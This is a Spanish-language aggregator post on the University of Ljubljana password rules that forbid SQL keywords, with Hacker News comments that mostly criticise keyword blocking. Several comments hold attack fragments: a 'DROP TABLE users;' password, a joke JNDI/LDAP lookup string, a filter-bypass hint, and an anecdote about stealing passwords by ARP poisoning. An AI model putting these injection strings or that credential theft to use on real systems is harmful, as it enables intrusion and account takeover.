Palabras que no se pueden usar en contraseñas: select, insert, update, delete, drop

 (id.uni-lj.si)
2 puntos por GN⁺ 2024-01-22 | 1 comentarios | Compartir por WhatsApp
  • El restablecimiento de contraseña del portal de ID de la University of Ljubljana exige ingresar el nombre de usuario, la nueva contraseña y su confirmación, con una estructura pensada para reducir errores de entrada en el proceso de recuperación de cuenta
  • El nombre de usuario tiene un formato similar al de una dirección de correo electrónico; se muestra como ejemplo js1234@student.uni-lj.si
  • La nueva contraseña debe tener al menos 10 caracteres y no puede incluir datos personales fáciles de adivinar, como el nombre o el apellido
  • Debe cumplir al menos 3 criterios entre mayúsculas, minúsculas, números y los símbolos -_.+@
  • Tampoco se pueden usar en la contraseña palabras como select, insert, update, delete o drop, por lo que hay que verificar no solo la longitud, sino también patrones prohibidos

Flujo de entrada para restablecer la contraseña

  • La pantalla está compuesta por los campos Username, New password y New password confirmation
  • Los tres elementos aparecen marcados como required
  • El nombre de usuario tiene un formato similar al de una dirección de correo electrónico
    • El ejemplo de nombre de usuario correspondiente a John Smith es js1234@student.uni-lj.si
  • Para reducir errores tipográficos, la nueva contraseña debe ingresarse dos veces

Reglas para la nueva contraseña

  • La nueva contraseña se trata como un medio para proteger la identidad digital del usuario
  • Deben evitarse las contraseñas fáciles de adivinar
    • Ej.: nombre, apellido, nombre de la pareja, fecha de nacimiento
  • La contraseña debe tener al menos 10 caracteres
  • No puede incluir el nombre ni el apellido del usuario
  • Debe cumplir al menos 3 de los siguientes criterios
    • Letras mayúsculas del alfabeto inglés
    • Letras minúsculas del alfabeto inglés
    • Números
    • Símbolos: -_.+@

Palabras que no se pueden usar

  • En la contraseña no se pueden usar las siguientes palabras
    • select
    • insert
    • update
    • delete
    • drop

Lecturas relacionadas

1 comentarios

 
GN⁺ 2024-01-22
Comentarios de Hacker News

  • Ah, esa cadena la puse yo. Fue una solicitud de la gerencia y todavía no sé por qué.
    Este sitio no almacena contraseñas; es más bien una interfaz bonita que envuelve un sistema externo de gestión de cuentas.
    Había escuchado rumores de que, por validaciones raras en el campo de inicio de sesión de algunas apps legacy, los estudiantes no podían iniciar sesión con contraseñas que incluyeran ciertas cadenas, pero no conozco ningún caso real.

    • En cambio, todos deberían poner DROP TABLE users; como contraseña. Así se detectaría rapidísimo qué proveedor está manejando las contraseñas de forma absurdamente insegura.
      Eso significaría que ni sanitizan la entrada del usuario ni hashean u ocultan la contraseña, lo cual ya es un nivel de perjuicio social.
    • En un sitio, el campo de “crear nueva contraseña” permitía una longitud máxima mayor que la propiedad maxlength del campo del formulario de inicio de sesión.
      Me tomó mucho tiempo entender por qué sí podía iniciar sesión con el autocompletado del gestor de contraseñas, pero no al escribirla o pegarla manualmente. Era porque el autocompletado ignoraba maxlength.
    • Me da curiosidad si es solo una cadena puesta en la página o si la lógica de validación realmente lo bloquea.

  • Dijeron que no se podía incluir "script", pero cuando tenía poco más de 10 años hackeé la gran plataforma social Nettby.no.
    Funcionaba eliminando todas las palabras prohibidas, y script estaba entre ellas.

    • Obviamente había que ejecutar el script dos veces.
    • Yo también hackeé Nettby en la escuela. Buenos tiempos.
      Nettby no tenía HTTPS, así que robé las contraseñas de todos con un ataque de intermediario por ARP poisoning, y luego publiqué tonterías al azar en las cuentas de la gente mientras veía el caos. No espié nada; supongo que incluso mi yo de 14 años tenía al menos un mínimo de ética.
    • Era un problema fácil. Bastaba con eliminar los signos de menor y mayor que.
    • LOL. Yo hice lo mismo en el sitio de Coca-Cola, y el director general de la empresa me mandó una carta molesta y borró mi cuenta.

  • Sé que me van a criticar mucho, pero creo que al menos en algunos casos es una idea razonable.
    En una organización hay mucha gente que hace mal código y mala arquitectura de sistemas, y faltan personas con la capacidad, autoridad y tiempo para detectarlo y obligar a cambiarlo.
    En EE. UU. muchas veces no queda otra que trabajar con sitios web pésimamente programados, como los de instituciones médicas locales. En esos casos, quizá sea mejor asumir que la implementación puede ser tan terrible como suele pasar y recomendar mitigaciones acordes.
    Los usuarios pueden probar fácilmente si realmente se permiten patrones de contraseña nominalmente prohibidos y reportar el problema al regulador, pero desde fuera no es tan fácil verificar si todo está bien implementado.
    No es elegante y es trágico, pero quizá sea mejor aceptar que en la práctica las cosas suelen hacerse muy mal y hay poca supervisión, y pensar en mitigaciones que eviten los peores resultados.

    • No estoy de acuerdo. En papel suena bien, pero da una falsa sensación de seguridad demasiado grande.
      Este tipo de medidas de seguridad muchas veces tapa problemas más profundos. Normalmente se implementan porque no se maneja con cuidado la entrada del usuario, y asumir que bloquear unas cuantas palabras clave “neutraliza” una vulnerabilidad potencial suele ser muy fácil de refutar. Basta ver los casos de eBay y JSFuck.
      Odio esta forma de pensar. Los firewalls de aplicaciones web (WAF), las pruebas de penetración perezosas y los checklists de compliance han creado una enorme cantidad de teatro de seguridad, y estoy convencido de que han hecho que las empresas crean que es “seguro” y que “ya hicieron la debida diligencia” aunque expongan a internet público software escrito de forma ridículamente desastrosa.
      El resultado es que otra vez recibo por correo una carta de disculpa de una empresa a la que tuve que entregar mis datos casi sin opción real, diciendo que mi información más sensible fue filtrada. Seguro todos se preocupaban muchísimo por mis datos, como para dejar que los robaran mediante una vulnerabilidad de una librería de serialización de Java de hace décadas.
      [1]: https://blog.checkpoint.com/research/ebay-platform-exposed-t...
    • Si una organización tiene una política de contraseñas así, puede interpretarse como que la persona responsable de esa política cree que en su organización no hay suficientes personas con la capacidad y autoridad para prevenir una vulnerabilidad de inyección SQL.
      Eso se ve mal en cualquier institución, pero es aún peor si se trata de una universidad, que se supone debería ser un bastión de gente con capacidad y autoridad.
      Como consejo general sobre contraseñas, casi sería mejor que todo el mundo incluyera estas palabras clave para que el bug salga a la luz rápido. No debería quedar oculto hasta que solo los atacantes lo aprovechen.
    • La contraseña no debería acercarse ni remotamente a una base de datos.
      Hay que aplicar hash con salt cientos de miles de veces y comparar contra los valores de salt y hash guardados en un archivo.
      Si ni siquiera pueden hacer eso, no deberían estar escribiendo software que almacene credenciales. Lo digo en serio. La seguridad de software empieza por reconocer que los datos son tóxicos y que, si no se les trata con respeto, pueden llevar a una empresa a la quiebra.
    • Esto parece una trampa común de la defensa en profundidad. Es cuando se gasta esfuerzo de ingeniería en la capa equivocada para resolver un problema que podría resolverse mucho más eficientemente en otra capa.
      Si te preocupa que el sistema pueda meter contraseñas en texto plano en una tabla de base de datos, entonces hay un millón de otras cosas terribles que también pueden salir mal en ese sistema. Por ejemplo, ¿qué pasa si el DBA copia y pega SQL desde Stack Overflow?
      Si en la organización hay ingenieros incompetentes, mejor no dejar que implementen un sistema de autenticación propio y usar un framework open source ampliamente usado o un producto comercial.
    • No entiendo qué vector de ataque estaría bloqueando esto.
      Si el flujo de autenticación hace cualquier otra cosa además de aplicar salt y hash a la contraseña, y luego descartar la contraseña original en texto plano, entonces ese sistema entero no debería usarse.

  • Está bien. En su lugar pueden usar truncate.

  • Lo más gracioso de esta situación es que ni siquiera revisan todas las cadenas prohibidas.
    Fuente: soy estudiante de esa escuela y lo probé por curiosidad.

    • Si algo se rompe, es muy probable que usen ese descargo de responsabilidad como pretexto para echarte la culpa.
    • Si el riesgo por incumplir la norma es la expulsión, entonces sería fácil asegurar el cumplimiento.

  • En lugar de hacer imposible por completo la inyección SQL con procedimientos almacenados adecuados y otras técnicas, solo restringen unas cuantas palabras clave y esperan que los hackers no inventen algún método que ellos no contemplaron, como trucos de escape.
    Probablemente funcione por un tiempo, hasta que alguien demuestre que no.
    Hacer que la entrada del usuario no se mezcle con SQL ya no es ciencia espacial. No estamos en 2005.
    Además, si esto realmente funciona, significaría que están almacenando las contraseñas sin hashearlas, y eso ya era una tontería incluso en 2005. Si aplicaran lo mismo al nombre de usuario u otros campos de entrada tendría un poco más de sentido, pero una contraseña jamás debería entrar a la base de datos de esa manera.

    • En la empresa una vez discutimos cómo serializar datos estructurados como valores de encabezados de solicitud HTTP. Mi reacción instintiva fue decir “un subconjunto ASCII de JSON en una sola línea”, pero se descartó por varias razones. Puede que haya sido porque tenía demasiada puntuación o porque en chino resultaba verboso.
      Alguien propuso campos delimitados por barras verticales, pero eso también se descartó. La razón era algo como: “en el pasado, algunos proxies de clientes rechazaban encabezados que contenían el carácter pipe”.
      La programación tipo vudú no siempre surge solo por falta de análisis empírico. A veces también aparece cuando sabes que algo salió mal en el pasado, pero no tienes pruebas ni forma de responder.
      Personalmente, preferiría simplemente desplegarlo, ver si se rompe y, si hace falta, resolverlo después con el cliente. Como era de esperarse, y por buenas razones, ese enfoque no era popular, así que al final no se usó el carácter pipe.
    • Hice mi primera app con base de datos a principios de 2005, y no era tan difícil evitar mezclar datos del usuario con SQL.
      Creo que incluso ejecutábamos los scripts CGI con taint mode. ¿Alguien se acuerda de eso?
    • Eso de que “si esto realmente funciona, entonces almacenan la contraseña sin hashearla” no necesariamente es cierto.
      Un RDBMS puede soportar funciones hash, así que podrían guardarla con algo como UPDATE USERS SET PASSWORD = SHA2($PASSWORD). En ese caso seguiría siendo vulnerable a inyección SQL, pero no estarían almacenando contraseñas sin hash.
      Hay buenas razones para recomendar hacer el hash en la capa de aplicación, pero si usas consultas parametrizadas correctamente, hacerlo en la base de datos tampoco es algo tan terrible.
    • El simple hecho de que este artículo haya llegado a la portada ya implica que lo que se está explicando aquí es obvio para este público.

  • Uf, jamás me van a atrapar. Mi contraseña es ${jndi:ldap://hunter2.com/totallylegit}.

    • No. Eso ni siquiera es una URL de LDAP válida, ni un dominio válido.
      Los dominios solo pueden contener letras ASCII a-z y dígitos 0-9, y no se permiten asteriscos. El único símbolo permitido es el guion, y tampoco puede ir al principio ni al final.

  • Viéndolo con optimismo, este requisito podría venir de un firewall de aplicaciones web (WAF) excesivamente estricto.

    • O podría deberse a un “framework” o conjunto de herramientas con una arquitectura desastrosa.
      Otros comentarios ven esto como una “prueba” de que la seguridad de la aplicación es mala, pero no creo que se pueda llegar tan lejos. Lo que sí se puede concluir es que alguna parte del stack está implementada de forma pésima.
    • Entonces eso significaría que el WAF puede ver contraseñas sin hash, lo cual no está nada bien.
    • Me pregunto qué significan las siglas WAF.

  • Suena como un vestigio heredado de un sistema viejo. He oído que algunas universidades y bancos usan mainframes antiguos para la autenticación central.
    En algunos casos, según escuché, las contraseñas se guardaban en texto plano, se truncaban a 8 caracteres y solo permitían mayúsculas.
    La razón principal para no actualizar estos sistemas, al menos por lo que he oído, es el costo y la complejidad. La idea sería algo como: en vez de gastar $$$$ para actualizar un sistema que ya funciona, gastemos solo $ para restringir contraseñas y añadir “seguridad” básica.

  • Hace unos años estaba creando una app para publicar artículos mediante la API de WordPress. Cada cliente tenía WordPress instalado en distintos entornos de hosting, y allí había varias funciones de “seguridad”.
    Recibimos un reporte de error donde, al publicar en el blog, fallaba y se subía contenido vacío; uno de esos plugins de seguridad escaneaba entradas largas del blog y, si encontraba algo como .... select from , reemplazaba ese parámetro POST por una cadena vacía.
    También vi un reporte de error parecido de otro cliente, donde se había inyectado JavaScript ofuscado dentro del texto HTML en un campo JSON de una solicitud enviada desde nuestro servidor. No estaba seguro de si era un plugin de “seguridad” o malware.

    • Hace tiempo hubo un caso en el que solo fallaban unas pocas solicitudes en cierto conjunto de páginas. Al principio descubrimos que todas las URL contenían select, pero por lo general como parte de nombres de parámetros como itemselect. Así que nos pusimos a buscar si había algún filtro tipo WAF en alguna parte del stack.
      Al final encontramos una configuración vieja en el servidor proxy, anterior incluso a cuando usábamos un WAF comercial, y esa configuración estaba buscando SELECT.*UNION.
      Volvimos a revisar las URL y todas también tenían parámetros como company=credit+union. Me tapé la cara de vergüenza, eliminé ese código y ya había suficientes protecciones en otros lugares.